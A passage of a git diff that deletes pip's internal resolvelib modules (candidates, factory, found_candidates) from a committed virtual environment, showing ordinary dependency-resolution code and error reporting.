-            yield from factory.make_requirements_from_spec(
-                str(r),
-                self._comes_from,
-                valid_extras,
-            )
-
-    def get_install_requirement(self) -> InstallRequirement | None:
-        # We don't return anything here, because we always
-        # depend on the base candidate, and we'll get the
-        # install requirement from that.
-        return None
-
-
-class RequiresPythonCandidate(Candidate):
-    is_installed = False
-    source_link = None
-
-    def __init__(self, py_version_info: tuple[int, ...] | None) -> None:
-        if py_version_info is not None:
-            version_info = normalize_version_info(py_version_info)
-        else:
-            version_info = sys.version_info[:3]
-        self._version = Version(".".join(str(c) for c in version_info))
-
-    # We don't need to implement __eq__() and __ne__() since there is always
-    # only one RequiresPythonCandidate in a resolution, i.e. the host Python.
-    # The built-in object.__eq__() and object.__ne__() do exactly what we want.
-
-    def __str__(self) -> str:
-        return f"Python {self._version}"
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}({self._version!r})"
-
-    @property
-    def project_name(self) -> NormalizedName:
-        return REQUIRES_PYTHON_IDENTIFIER
-
-    @property
-    def name(self) -> str:
-        return REQUIRES_PYTHON_IDENTIFIER
-
-    @property
-    def version(self) -> Version:
-        return self._version
-
-    def format_for_error(self) -> str:
-        return f"Python {self.version}"
-
-    def iter_dependencies(self, with_requires: bool) -> Iterable[Requirement | None]:
-        return ()
-
-    def get_install_requirement(self) -> InstallRequirement | None:
-        return None
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/factory.py b/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/factory.py
deleted file mode 100644
index c9fb839d4a0ff83d1b0cabe84ef056c8c3ad7cac..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/factory.py
+++ /dev/null
@@ -1,901 +0,0 @@
-from __future__ import annotations
-
-import contextlib
-import copy
-import functools
-import logging
-from collections.abc import Callable, Iterable, Iterator, Mapping, Sequence
-from typing import (
-    TYPE_CHECKING,
-    NamedTuple,
-    Protocol,
-    TypeVar,
-    cast,
-)
-
-from pip._vendor.packaging.requirements import InvalidRequirement
-from pip._vendor.packaging.specifiers import SpecifierSet
-from pip._vendor.packaging.utils import NormalizedName, canonicalize_name
-from pip._vendor.packaging.version import InvalidVersion, Version
-from pip._vendor.resolvelib import ResolutionImpossible
-from pip._vendor.rich.markup import escape
-
-from pip._internal.cache import CacheEntry, WheelCache
-from pip._internal.exceptions import (
-    DistributionNotFound,
-    InstallationError,
-    InvalidInstalledPackage,
-    MetadataInconsistent,
-    MetadataInvalid,
-    UnsupportedPythonVersion,
-    UnsupportedWheel,
-)
-from pip._internal.index.package_finder import PackageFinder
-from pip._internal.metadata import BaseDistribution, get_default_environment
-from pip._internal.models.link import Link
-from pip._internal.models.wheel import Wheel
-from pip._internal.operations.prepare import RequirementPreparer
-from pip._internal.req.constructors import (
-    install_req_drop_extras,
-    install_req_from_link_and_ireq,
-)
-from pip._internal.req.req_install import (
-    InstallRequirement,
-    check_invalid_constraint_type,
-)
-from pip._internal.resolution.base import InstallRequirementProvider
-from pip._internal.utils.compatibility_tags import get_supported
-from pip._internal.utils.hashes import Hashes
-from pip._internal.utils.packaging import get_requirement
-from pip._internal.utils.virtualenv import running_under_virtualenv
-
-from .base import Candidate, Constraint, Requirement
-from .candidates import (
-    AlreadyInstalledCandidate,
-    BaseCandidate,
-    EditableCandidate,
-    ExtrasCandidate,
-    LinkCandidate,
-    RequiresPythonCandidate,
-    as_base_candidate,
-)
-from .found_candidates import FoundCandidates, IndexCandidateInfo
-from .requirements import (
-    ExplicitRequirement,
-    RequiresPythonRequirement,
-    SpecifierRequirement,
-    SpecifierWithoutExtrasRequirement,
-    UnsatisfiableRequirement,
-)
-
-if TYPE_CHECKING:
-
-    class ConflictCause(Protocol):
-        requirement: RequiresPythonRequirement
-        parent: Candidate
-
-
-logger = logging.getLogger(__name__)
-
-C = TypeVar("C")
-Cache = dict[Link, C]
-
-
-class CollectedRootRequirements(NamedTuple):
-    requirements: list[Requirement]
-    constraints: dict[str, Constraint]
-    user_requested: dict[str, int]
-
-
-class Factory:
-    def __init__(
-        self,
-        finder: PackageFinder,
-        preparer: RequirementPreparer,
-        make_install_req: InstallRequirementProvider,
-        wheel_cache: WheelCache | None,
-        use_user_site: bool,
-        force_reinstall: bool,
-        ignore_installed: bool,
-        ignore_requires_python: bool,
-        py_version_info: tuple[int, ...] | None = None,
-    ) -> None:
-        self._finder = finder
-        self.preparer = preparer
-        self._wheel_cache = wheel_cache
-        self._python_candidate = RequiresPythonCandidate(py_version_info)
-        self._make_install_req_from_spec = make_install_req
-        self._use_user_site = use_user_site
-        self._force_reinstall = force_reinstall
-        self._ignore_requires_python = ignore_requires_python
-
-        self._build_failures: Cache[InstallationError] = {}
-        self._link_candidate_cache: Cache[LinkCandidate] = {}
-        self._editable_candidate_cache: Cache[EditableCandidate] = {}
-        self._installed_candidate_cache: dict[str, AlreadyInstalledCandidate] = {}
-        self._extras_candidate_cache: dict[
-            tuple[int, frozenset[NormalizedName]], ExtrasCandidate
-        ] = {}
-        self._supported_tags_cache = get_supported()
-
-        if not ignore_installed:
-            env = get_default_environment()
-            self._installed_dists = {
-                dist.canonical_name: dist
-                for dist in env.iter_installed_distributions(local_only=False)
-            }
-        else:
-            self._installed_dists = {}
-
-    @property
-    def force_reinstall(self) -> bool:
-        return self._force_reinstall
-
-    def _fail_if_link_is_unsupported_wheel(self, link: Link) -> None:
-        if not link.is_wheel:
-            return
-        wheel = Wheel(link.filename)
-        if wheel.supported(self._finder.target_python.get_unsorted_tags()):
-            return
-        msg = f"{link.filename} is not a supported wheel on this platform."
-        raise UnsupportedWheel(msg)
-
-    def _make_extras_candidate(
-        self,
-        base: BaseCandidate,
-        extras: frozenset[str],
-        *,
-        comes_from: InstallRequirement | None = None,
-    ) -> ExtrasCandidate:
-        cache_key = (id(base), frozenset(canonicalize_name(e) for e in extras))
-        try:
-            candidate = self._extras_candidate_cache[cache_key]
-        except KeyError:
-            candidate = ExtrasCandidate(base, extras, comes_from=comes_from)
-            self._extras_candidate_cache[cache_key] = candidate
-        return candidate
-
-    def _make_candidate_from_dist(
-        self,
-        dist: BaseDistribution,
-        extras: frozenset[str],
-        template: InstallRequirement,
-    ) -> Candidate:
-        try:
-            base = self._installed_candidate_cache[dist.canonical_name]
-        except KeyError:
-            base = AlreadyInstalledCandidate(dist, template, factory=self)
-            self._installed_candidate_cache[dist.canonical_name] = base
-        if not extras:
-            return base
-        return self._make_extras_candidate(base, extras, comes_from=template)
-
-    def _make_candidate_from_link(
-        self,
-        link: Link,
-        extras: frozenset[str],
-        template: InstallRequirement,
-        name: NormalizedName | None,
-        version: Version | None,
-    ) -> Candidate | None:
-        base: BaseCandidate | None = self._make_base_candidate_from_link(
-            link, template, name, version
-        )
-        if not extras or base is None:
-            return base
-        return self._make_extras_candidate(base, extras, comes_from=template)
-
-    def _make_base_candidate_from_link(
-        self,
-        link: Link,
-        template: InstallRequirement,
-        name: NormalizedName | None,
-        version: Version | None,
-    ) -> BaseCandidate | None:
-        # TODO: Check already installed candidate, and use it if the link and
-        # editable flag match.
-
-        if link in self._build_failures:
-            # We already tried this candidate before, and it does not build.
-            # Don't bother trying again.
-            return None
-
-        if template.editable:
-            if link not in self._editable_candidate_cache:
-                try:
-                    self._editable_candidate_cache[link] = EditableCandidate(
-                        link,
-                        template,
-                        factory=self,
-                        name=name,
-                        version=version,
-                    )
-                except (MetadataInconsistent, MetadataInvalid) as e:
-                    logger.info(
-                        "Discarding [blue underline]%s[/]: [yellow]%s[reset]",
-                        escape(str(link)),
-                        escape(str(e)),
-                        extra={"markup": True},
-                    )
-                    self._build_failures[link] = e
-                    return None
-
-            return self._editable_candidate_cache[link]
-        else:
-            if link not in self._link_candidate_cache:
-                try:
-                    self._link_candidate_cache[link] = LinkCandidate(
-                        link,
-                        template,
-                        factory=self,
-                        name=name,
-                        version=version,
-                    )
-                except MetadataInconsistent as e:
-                    logger.info(
-                        "Discarding [blue underline]%s[/]: [yellow]%s[reset]",
-                        escape(str(link)),
-                        escape(str(e)),
-                        extra={"markup": True},
-                    )
-                    self._build_failures[link] = e
-                    return None
-            return self._link_candidate_cache[link]
-
-    def _iter_found_candidates(
-        self,
-        ireqs: Sequence[InstallRequirement],
-        specifier: SpecifierSet,
-        hashes: Hashes,
-        prefers_installed: bool,
-        incompatible_ids: set[int],
-        constraint_hash_options: dict[str, list[str]] | None = None,
-    ) -> Iterable[Candidate]:
-        if not ireqs:
-            return ()
-
-        # The InstallRequirement implementation requires us to give it a
-        # "template". Here we just choose the first requirement to represent
-        # all of them.
-        # Hopefully the Project model can correct this mismatch in the future.
-        template = ireqs[0]
-        assert template.req, "Candidates found on index must be PEP 508"
-        if (
-            constraint_hash_options
-            and not template.hash_options
-            and any(constraint_hash_options.values())
-        ):
-            template = copy.copy(template)
-            template.hash_options = {
-                k: list(v) for k, v in constraint_hash_options.items()
-            }
-        assert template.req  # to prevent mypy from being confused by the copy
-        name = canonicalize_name(template.req.name)
-
-        extras: frozenset[str] = frozenset()
-        for ireq in ireqs:
-            assert ireq.req, "Candidates found on index must be PEP 508"
-            specifier &= ireq.req.specifier
-            hashes &= ireq.hashes(trust_internet=False)
-            extras |= frozenset(ireq.extras)
-
-        def _get_installed_candidate() -> Candidate | None:
-            """Get the candidate for the currently-installed version."""
-            # If --force-reinstall is set, we want the version from the index
-            # instead, so we "pretend" there is nothing installed.
-            if self._force_reinstall:
-                return None
-            try:
-                installed_dist = self._installed_dists[name]
-            except KeyError:
-                return None
-
-            try:
-                # Don't use the installed distribution if its version
-                # does not fit the current dependency graph.
-                if not specifier.contains(installed_dist.version, prereleases=True):
-                    return None
-            except InvalidVersion as e:
-                raise InvalidInstalledPackage(dist=installed_dist, invalid_exc=e)
-
-            candidate = self._make_candidate_from_dist(
-                dist=installed_dist,
-                extras=extras,
-                template=template,
-            )
-            # The candidate is a known incompatibility. Don't use it.
-            if id(candidate) in incompatible_ids:
-                return None
-            return candidate
-
-        def iter_index_candidate_infos() -> Iterator[IndexCandidateInfo]:
-            result = self._finder.find_best_candidate(
-                project_name=name,
-                specifier=specifier,
-                hashes=hashes,
-            )
-            icans = result.applicable_candidates
-
-            # PEP 592: Yanked releases are ignored unless the specifier
-            # explicitly pins a version (via '==' or '===') that can be
-            # solely satisfied by a yanked release.
-            all_yanked = all(ican.link.is_yanked for ican in icans)
-
-            def is_pinned(specifier: SpecifierSet) -> bool:
-                for sp in specifier:
-                    if sp.operator == "===":
-                        return True
-                    if sp.operator != "==":
-                        continue
-                    if sp.version.endswith(".*"):
-                        continue
-                    return True
-                return False
-
-            pinned = is_pinned(specifier)
-
-            # PackageFinder returns earlier versions first, so we reverse.
-            for ican in reversed(icans):
-                if not (all_yanked and pinned) and ican.link.is_yanked:
-                    continue
-                func = functools.partial(
-                    self._make_candidate_from_link,
-                    link=ican.link,
-                    extras=extras,
-                    template=template,
-                    name=name,
-                    version=ican.version,
-                )
-                yield ican.version, func
-
-        return FoundCandidates(
-            iter_index_candidate_infos,
-            _get_installed_candidate(),
-            prefers_installed,
-            incompatible_ids,
-        )
-
-    def _iter_explicit_candidates_from_base(
-        self,
-        base_requirements: Iterable[Requirement],
-        extras: frozenset[str],
-    ) -> Iterator[Candidate]:
-        """Produce explicit candidates from the base given an extra-ed package.
-
-        :param base_requirements: Requirements known to the resolver. The
-            requirements are guaranteed to not have extras.
-        :param extras: The extras to inject into the explicit requirements'
-            candidates.
-        """
-        for req in base_requirements:
-            lookup_cand, _ = req.get_candidate_lookup()
-            if lookup_cand is None:  # Not explicit.
-                continue
-            # We've stripped extras from the identifier, and should always
-            # get a BaseCandidate here, unless there's a bug elsewhere.
-            base_cand = as_base_candidate(lookup_cand)
-            assert base_cand is not None, "no extras here"
-            yield self._make_extras_candidate(base_cand, extras)
-
-    def _iter_candidates_from_constraints(
-        self,
-        identifier: str,
-        constraint: Constraint,
-        template: InstallRequirement,
-    ) -> Iterator[Candidate]:
-        """Produce explicit candidates from constraints.
-
-        This creates "fake" InstallRequirement objects that are basically clones
-        of what "should" be the template, but with original_link set to link.
-        """
-        extras: frozenset[str] = frozenset()
-        base_identifier = identifier
-        with contextlib.suppress(InvalidRequirement):
-            parsed_requirement = get_requirement(identifier)
-            if parsed_requirement.name != identifier:
-                base_identifier = canonicalize_name(parsed_requirement.name)
-                extras = frozenset(parsed_requirement.extras)
-
-        for link in constraint.links:
-            self._fail_if_link_is_unsupported_wheel(link)
-            base_candidate = self._make_base_candidate_from_link(
-                link,
-                template=install_req_from_link_and_ireq(link, template),
-                name=canonicalize_name(base_identifier),
-                version=None,
-            )
-            if base_candidate is None:
-                continue
-            if extras:
-                yield self._make_extras_candidate(base_candidate, extras)
-            else:
-                yield base_candidate
-
-    def find_candidates(
-        self,
-        identifier: str,
-        requirements: Mapping[str, Iterable[Requirement]],
-        incompatibilities: Mapping[str, Iterator[Candidate]],
-        constraint: Constraint,
-        prefers_installed: bool,
-        is_satisfied_by: Callable[[Requirement, Candidate], bool],
-    ) -> Iterable[Candidate]:
-        # Collect basic lookup information from the requirements.
-        explicit_candidates: set[Candidate] = set()
-        ireqs: list[InstallRequirement] = []
-        for req in requirements[identifier]:
-            cand, ireq = req.get_candidate_lookup()
-            if cand is not None:
-                explicit_candidates.add(cand)
-            if ireq is not None:
-                ireqs.append(ireq)
-
-        # If the current identifier contains extras, add requires and explicit
-        # candidates from entries from extra-less identifier.
-        with contextlib.suppress(InvalidRequirement):
-            parsed_requirement = get_requirement(identifier)
-            if parsed_requirement.name != identifier:
-                explicit_candidates.update(
-                    self._iter_explicit_candidates_from_base(
-                        requirements.get(parsed_requirement.name, ()),
-                        frozenset(parsed_requirement.extras),
-                    ),
-                )
-                for req in requirements.get(parsed_requirement.name, []):
-                    _, ireq = req.get_candidate_lookup()
-                    if ireq is not None:
-                        ireqs.append(ireq)
-
-        # Add explicit candidates from constraints. We only do this if there are
-        # known ireqs, which represent requirements not already explicit. If
-        # there are no ireqs, we're constraining already-explicit requirements,
-        # which is handled later when we return the explicit candidates.
-        if ireqs:
-            try:
-                explicit_candidates.update(
-                    self._iter_candidates_from_constraints(
-                        identifier,
-                        constraint,
-                        template=ireqs[0],
-                    ),
-                )
-            except UnsupportedWheel:
-                # If we're constrained to install a wheel incompatible with the
-                # target architecture, no candidates will ever be valid.
-                return ()
-
-        # Since we cache all the candidates, incompatibility identification
-        # can be made quicker by comparing only the id() values.
-        incompat_ids = {id(c) for c in incompatibilities.get(identifier, ())}
-
-        # If none of the requirements want an explicit candidate, we can ask
-        # the finder for candidates.
-        if not explicit_candidates:
-            return self._iter_found_candidates(
-                ireqs,
-                constraint.specifier,
-                constraint.hashes,
-                prefers_installed,
-                incompat_ids,
-                constraint.hash_options,
-            )
-
-        return (
-            c
-            for c in explicit_candidates
-            if id(c) not in incompat_ids
-            and constraint.is_satisfied_by(c)
-            and all(is_satisfied_by(req, c) for req in requirements[identifier])
-        )
-
-    def _make_requirements_from_install_req(
-        self, ireq: InstallRequirement, requested_extras: Iterable[str]
-    ) -> Iterator[Requirement]:
-        """
-        Returns requirement objects associated with the given InstallRequirement. In
-        most cases this will be a single object but the following special cases exist:
-            - the InstallRequirement has markers that do not apply -> result is empty
-            - the InstallRequirement has both a constraint (or link) and extras
-                -> result is split in two requirement objects: one with the constraint
-                (or link) and one with the extra. This allows centralized constraint
-                handling for the base, resulting in fewer candidate rejections.
-        """
-        if not ireq.match_markers(requested_extras):
-            logger.info(
-                "Ignoring %s: markers '%s' don't match your environment",
-                ireq.name,
-                ireq.markers,
-            )
-        elif not ireq.link:
-            if ireq.extras and ireq.req is not None and ireq.req.specifier:
-                yield SpecifierWithoutExtrasRequirement(ireq)
-            yield SpecifierRequirement(ireq)
-        else:
-            self._fail_if_link_is_unsupported_wheel(ireq.link)
-            # Always make the link candidate for the base requirement to make it
-            # available to `find_candidates` for explicit candidate lookup for any
-            # set of extras.
-            # The extras are required separately via a second requirement.
-            cand = self._make_base_candidate_from_link(
-                ireq.link,
-                template=install_req_drop_extras(ireq) if ireq.extras else ireq,
-                name=canonicalize_name(ireq.name) if ireq.name else None,
-                version=None,
-            )
-            if cand is None:
-                # There's no way we can satisfy a URL requirement if the underlying
-                # candidate fails to build. An unnamed URL must be user-supplied, so
-                # we fail eagerly. If the URL is named, an unsatisfiable requirement
-                # can make the resolver do the right thing, either backtrack (and
-                # maybe find some other requirement that's buildable) or raise a
-                # ResolutionImpossible eventually.
-                if not ireq.name:
-                    raise self._build_failures[ireq.link]
-                yield UnsatisfiableRequirement(canonicalize_name(ireq.name))
-            else:
-                # require the base from the link
-                yield self.make_requirement_from_candidate(cand)
-                if ireq.extras:
-                    # require the extras on top of the base candidate
-                    yield self.make_requirement_from_candidate(
-                        self._make_extras_candidate(cand, frozenset(ireq.extras))
-                    )
-
-    def collect_root_requirements(
-        self, root_ireqs: list[InstallRequirement]
-    ) -> CollectedRootRequirements:
-        collected = CollectedRootRequirements([], {}, {})
-        for i, ireq in enumerate(root_ireqs):
-            if ireq.constraint:
-                # Ensure we only accept valid constraints
-                problem = check_invalid_constraint_type(ireq)
-                if problem:
-                    raise InstallationError(problem)
-                if not ireq.match_markers():
-                    continue
-                assert ireq.name, "Constraint must be named"
-                name = canonicalize_name(ireq.name)
-                if name in collected.constraints:
-                    collected.constraints[name] &= ireq
-                else:
-                    collected.constraints[name] = Constraint.from_ireq(ireq)
-            else:
-                reqs = list(
-                    self._make_requirements_from_install_req(
-                        ireq,
-                        requested_extras=(),
-                    )
-                )
-                if not reqs:
-                    continue
-                template = reqs[0]
-                if ireq.user_supplied and template.name not in collected.user_requested:
-                    collected.user_requested[template.name] = i
-                collected.requirements.extend(reqs)
-        # Put requirements with extras at the end of the root requires. This does not
-        # affect resolvelib's picking preference but it does affect its initial criteria
-        # population: by putting extras at the end we enable the candidate finder to
-        # present resolvelib with a smaller set of candidates to resolvelib, already
-        # taking into account any non-transient constraints on the associated base. This
-        # means resolvelib will have fewer candidates to visit and reject.
-        # Python's list sort is stable, meaning relative order is kept for objects with
-        # the same key.
-        collected.requirements.sort(key=lambda r: r.name != r.project_name)
-        return collected
-
-    def make_requirement_from_candidate(
-        self, candidate: Candidate
-    ) -> ExplicitRequirement:
-        return ExplicitRequirement(candidate)
-
-    def make_requirements_from_spec(
-        self,
-        specifier: str,
-        comes_from: InstallRequirement | None,
-        requested_extras: Iterable[str] = (),
-    ) -> Iterator[Requirement]:
-        """
-        Returns requirement objects associated with the given specifier. In most cases
-        this will be a single object but the following special cases exist:
-            - the specifier has markers that do not apply -> result is empty
-            - the specifier has both a constraint and extras -> result is split
-                in two requirement objects: one with the constraint and one with the
-                extra. This allows centralized constraint handling for the base,
-                resulting in fewer candidate rejections.
-        """
-        ireq = self._make_install_req_from_spec(specifier, comes_from)
-        return self._make_requirements_from_install_req(ireq, requested_extras)
-
-    def make_requires_python_requirement(
-        self,
-        specifier: SpecifierSet,
-    ) -> Requirement | None:
-        if self._ignore_requires_python:
-            return None
-        # Don't bother creating a dependency for an empty Requires-Python.
-        if not str(specifier):
-            return None
-        return RequiresPythonRequirement(specifier, self._python_candidate)
-
-    def get_wheel_cache_entry(self, link: Link, name: str | None) -> CacheEntry | None:
-        """Look up the link in the wheel cache.
-
-        If ``preparer.require_hashes`` is True, don't use the wheel cache,
-        because cached wheels, always built locally, have different hashes
-        than the files downloaded from the index server and thus throw false
-        hash mismatches. Furthermore, cached wheels at present have
-        nondeterministic contents due to file modification times.
-        """
-        if self._wheel_cache is None:
-            return None
-        return self._wheel_cache.get_cache_entry(
-            link=link,
-            package_name=name,
-            supported_tags=self._supported_tags_cache,
-        )
-
-    def get_dist_to_uninstall(self, candidate: Candidate) -> BaseDistribution | None:
-        # TODO: Are there more cases this needs to return True? Editable?
-        dist = self._installed_dists.get(candidate.project_name)
-        if dist is None:  # Not installed, no uninstallation required.
-            return None
-
-        # We're installing into global site. The current installation must
-        # be uninstalled, no matter it's in global or user site, because the
-        # user site installation has precedence over global.
-        if not self._use_user_site:
-            return dist
-
-        # We're installing into user site. Remove the user site installation.
-        if dist.in_usersite:
-            return dist
-
-        # We're installing into user site, but the installed incompatible
-        # package is in global site. We can't uninstall that, and would let
-        # the new user installation to "shadow" it. But shadowing won't work
-        # in virtual environments, so we error out.
-        if running_under_virtualenv() and dist.in_site_packages:
-            message = (
-                f"Will not install to the user site because it will lack "
-                f"sys.path precedence to {dist.raw_name} in {dist.location}"
-            )
-            raise InstallationError(message)
-        return None
-
-    def _report_requires_python_error(
-        self, causes: Sequence[ConflictCause]
-    ) -> UnsupportedPythonVersion:
-        assert causes, "Requires-Python error reported with no cause"
-
-        version = self._python_candidate.version
-
-        if len(causes) == 1:
-            specifier = str(causes[0].requirement.specifier)
-            message = (
-                f"Package {causes[0].parent.name!r} requires a different "
-                f"Python: {version} not in {specifier!r}"
-            )
-            return UnsupportedPythonVersion(message)
-
-        message = f"Packages require a different Python. {version} not in:"
-        for cause in causes:
-            package = cause.parent.format_for_error()
-            specifier = str(cause.requirement.specifier)
-            message += f"\n{specifier!r} (required by {package})"
-        return UnsupportedPythonVersion(message)
-
-    def _report_single_requirement_conflict(
-        self, req: Requirement, parent: Candidate | None
-    ) -> DistributionNotFound:
-        if parent is None:
-            req_disp = str(req)
-        else:
-            req_disp = f"{req} (from {parent.name})"
-
-        cands = self._finder.find_all_candidates(req.project_name)
-        skipped_by_requires_python = self._finder.requires_python_skipped_reasons()
-
-        versions_set: set[Version] = set()
-        yanked_versions_set: set[Version] = set()
-        for c in cands:
-            is_yanked = c.link.is_yanked if c.link else False
-            if is_yanked:
-                yanked_versions_set.add(c.version)
-            else:
-                versions_set.add(c.version)
-
-        versions = [str(v) for v in sorted(versions_set)]
-        yanked_versions = [str(v) for v in sorted(yanked_versions_set)]
-
-        if yanked_versions:
-            # Saying "version X is yanked" isn't entirely accurate.
-            # https://github.com/pypa/pip/issues/11745#issuecomment-1402805842
-            logger.critical(
-                "Ignored the following yanked versions: %s",
-                ", ".join(yanked_versions) or "none",
-            )
-        if skipped_by_requires_python:
-            logger.critical(
-                "Ignored the following versions that require a different python "
-                "version: %s",
-                "; ".join(skipped_by_requires_python) or "none",
-            )
-
-        # Check if only final releases are allowed for this package
-        version_type = "version"
-        allows_pre = None
-        if self._finder.release_control is not None:
-            allows_pre = self._finder.release_control.allows_prereleases(
-                canonicalize_name(req.project_name)
-            )
-            if allows_pre is False:
-                version_type = "final version"
-
-        if len(cands) == 1 and cands[0].locked:
-            # The package finder ensures that requirements from pylock files
-            # have exactly one candidate. So we can provide a specific error
-            # message in this case.
-            if cands[0].version.is_prerelease and allows_pre is False:
-                logger.critical(
-                    "A pre-release version %s is specified in a provided lock file "
-                    "for %s but only final versions are allowed",
-                    cands[0].version,
-                    cands[0].name,
-                )
-            else:
-                logger.critical(
-                    "The requirement %s is not compatible with "
-                    "version %s specified in a provided lock file",
-                    req_disp,
-                    ", ".join(versions),
-                )
-        else:
-            logger.critical(
-                "Could not find a %s that satisfies the requirement %s "
-                "(from versions: %s)",
-                version_type,
-                req_disp,
-                ", ".join(versions) or "none",
-            )
-        if str(req) == "requirements.txt":
-            logger.info(
-                "HINT: You are attempting to install a package literally "
-                'named "requirements.txt" (which cannot exist). Consider '
-                "using the '-r' flag to install the packages listed in "
-                "requirements.txt"
-            )
-
-        return DistributionNotFound(f"No matching distribution found for {req}")
-
-    def _has_any_candidates(self, project_name: str) -> bool:
-        """
-        Check if there are any candidates available for the project name.
-        """
-        return any(
-            self.find_candidates(
-                project_name,
-                requirements={project_name: []},
-                incompatibilities={},
-                constraint=Constraint.empty(),
-                prefers_installed=True,
-                is_satisfied_by=lambda r, c: True,
-            )
-        )
-
-    def get_installation_error(
-        self,
-        e: ResolutionImpossible[Requirement, Candidate],
-        constraints: dict[str, Constraint],
-    ) -> InstallationError:
-        assert e.causes, "Installation error reported with no cause"
-
-        # If one of the things we can't solve is "we need Python X.Y",
-        # that is what we report.
-        requires_python_causes = [
-            cause
-            for cause in e.causes
-            if isinstance(cause.requirement, RequiresPythonRequirement)
-            and not cause.requirement.is_satisfied_by(self._python_candidate)
-        ]
-        if requires_python_causes:
-            # The comprehension above makes sure all Requirement instances are
-            # RequiresPythonRequirement, so let's cast for convenience.
-            return self._report_requires_python_error(
-                cast("Sequence[ConflictCause]", requires_python_causes),
-            )
-
-        # Otherwise, we have a set of causes which can't all be satisfied
-        # at once.
-
-        # The simplest case is when we have *one* cause that can't be
-        # satisfied. We just report that case.
-        if len(e.causes) == 1:
-            req, parent = next(iter(e.causes))
-            if req.name not in constraints:
-                return self._report_single_requirement_conflict(req, parent)
-
-        # OK, we now have a list of requirements that can't all be
-        # satisfied at once.
-
-        # A couple of formatting helpers
-        def text_join(parts: list[str]) -> str:
-            if len(parts) == 1:
-                return parts[0]
-
-            return ", ".join(parts[:-1]) + " and " + parts[-1]
-
-        def describe_trigger(parent: Candidate) -> str:
-            ireq = parent.get_install_requirement()
-            if not ireq or not ireq.comes_from:
-                return f"{parent.name}=={parent.version}"
-            if isinstance(ireq.comes_from, InstallRequirement):
-                return str(ireq.comes_from.name)
-            return str(ireq.comes_from)
-
-        triggers = set()
-        for req, parent in e.causes:
-            if parent is None:
-                # This is a root requirement, so we can report it directly
-                trigger = req.format_for_error()
-            else:
-                trigger = describe_trigger(parent)
-            triggers.add(trigger)
-
-        if triggers:
-            info = text_join(sorted(triggers))
-        else:
-            info = "the requested packages"
-
-        msg = (
-            f"Cannot install {info} because these package versions "
-            "have conflicting dependencies."
-        )
-        logger.critical(msg)
-        msg = "\nThe conflict is caused by:"
-
-        relevant_constraints = set()
-        for req, parent in e.causes:
-            if req.name in constraints:
-                relevant_constraints.add(req.name)
-            msg = msg + "\n    "
-            if parent:
-                msg = msg + f"{parent.name} {parent.version} depends on "
-            else:
-                msg = msg + "The user requested "
-            msg = msg + req.format_for_error()
-        for key in relevant_constraints:
-            constraint_text = f"{key}{constraints[key].format_for_error()}"
-            msg += f"\n    The user requested (constraint) {constraint_text}"
-
-        # Check for causes that had no candidates
-        causes = set()
-        for req, _ in e.causes:
-            causes.add(req.name)
-
-        no_candidates = {c for c in causes if not self._has_any_candidates(c)}
-        if no_candidates:
-            msg = (
-                msg
-                + "\n\n"
-                + "Additionally, some packages in these conflicts have no "
-                + "matching distributions available for your environment:"
-                + "\n    "
-                + "\n    ".join(sorted(no_candidates))
-            )
-
-        msg = (
-            msg
-            + "\n\n"
-            + "To fix this you could try to:\n"
-            + "1. loosen the range of package versions you've specified\n"
-            + "2. remove package versions to allow pip to attempt to solve "
-            + "the dependency conflict\n"
-        )
-
-        logger.info(msg)
-
-        return DistributionNotFound(
-            "ResolutionImpossible: for help visit "
-            "https://pip.pypa.io/en/latest/topics/dependency-resolution/"
-            "#dealing-with-dependency-conflicts"
-        )
diff --git a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py b/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py
deleted file mode 100644
index 67016735890609a4501f018f08a8cd12ca4f85b1..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py
+++ /dev/null
@@ -1,166 +0,0 @@
-"""Utilities to lazily create and visit candidates found.
-
-Creating and visiting a candidate is a *very* costly operation. It involves
-fetching, extracting, potentially building modules from source, and verifying
-distribution metadata. It is therefore crucial for performance to keep
-everything here lazy all the way down, so we only touch candidates that we
-absolutely need, and not "download the world" when we only need one version of
-something.
-"""
-
-from __future__ import annotations
-
-import logging
-from collections.abc import Callable, Iterator, Sequence
-from typing import Any
-
-from pip._vendor.packaging.version import _BaseVersion
-
-from pip._internal.exceptions import MetadataInvalid
-
-from .base import Candidate
-
-logger = logging.getLogger(__name__)
-
-IndexCandidateInfo = tuple[_BaseVersion, Callable[[], Candidate | None]]
-
-
-def _iter_built(infos: Iterator[IndexCandidateInfo]) -> Iterator[Candidate]:
-    """Iterator for ``FoundCandidates``.
-
-    This iterator is used when the package is not already installed. Candidates
-    from index come later in their normal ordering.
-    """
-    versions_found: set[_BaseVersion] = set()
-    for version, func in infos:
-        if version in versions_found:
-            continue
-        try:
-            candidate = func()
-        except MetadataInvalid as e:
-            logger.warning(
-                "Ignoring version %s of %s since it has invalid metadata:\n"
-                "%s\n"
-                "Please use pip<24.1 if you need to use this version.",
-                version,
-                e.ireq.name,
-                e,
-            )
-            # Mark version as found to avoid trying other candidates with the same
-            # version, since they most likely have invalid metadata as well.
-            versions_found.add(version)
-        else:
-            if candidate is None:
-                continue
-            yield candidate
-            versions_found.add(version)
-
-
-def _iter_built_with_prepended(
-    installed: Candidate, infos: Iterator[IndexCandidateInfo]
-) -> Iterator[Candidate]:
-    """Iterator for ``FoundCandidates``.
-
-    This iterator is used when the resolver prefers the already-installed
-    candidate and NOT to upgrade. The installed candidate is therefore
-    always yielded first, and candidates from index come later in their
-    normal ordering, except skipped when the version is already installed.
-    """
-    yield installed
-    versions_found: set[_BaseVersion] = {installed.version}
-    for version, func in infos:
-        if version in versions_found:
-            continue
-        candidate = func()
-        if candidate is None:
-            continue
-        yield candidate
-        versions_found.add(version)
-
-
-def _iter_built_with_inserted(
-    installed: Candidate, infos: Iterator[IndexCandidateInfo]
-) -> Iterator[Candidate]:
-    """Iterator for ``FoundCandidates``.
-
-    This iterator is used when the resolver prefers to upgrade an
-    already-installed package. Candidates from index are returned in their
-    normal ordering, except replaced when the version is already installed.
-
-    The implementation iterates through and yields other candidates, inserting
-    the installed candidate exactly once before we start yielding older or
-    equivalent candidates, or after all other candidates if they are all newer.
-    """
-    versions_found: set[_BaseVersion] = set()
-    for version, func in infos:
-        if version in versions_found:
-            continue
-        # If the installed candidate is better, yield it first.
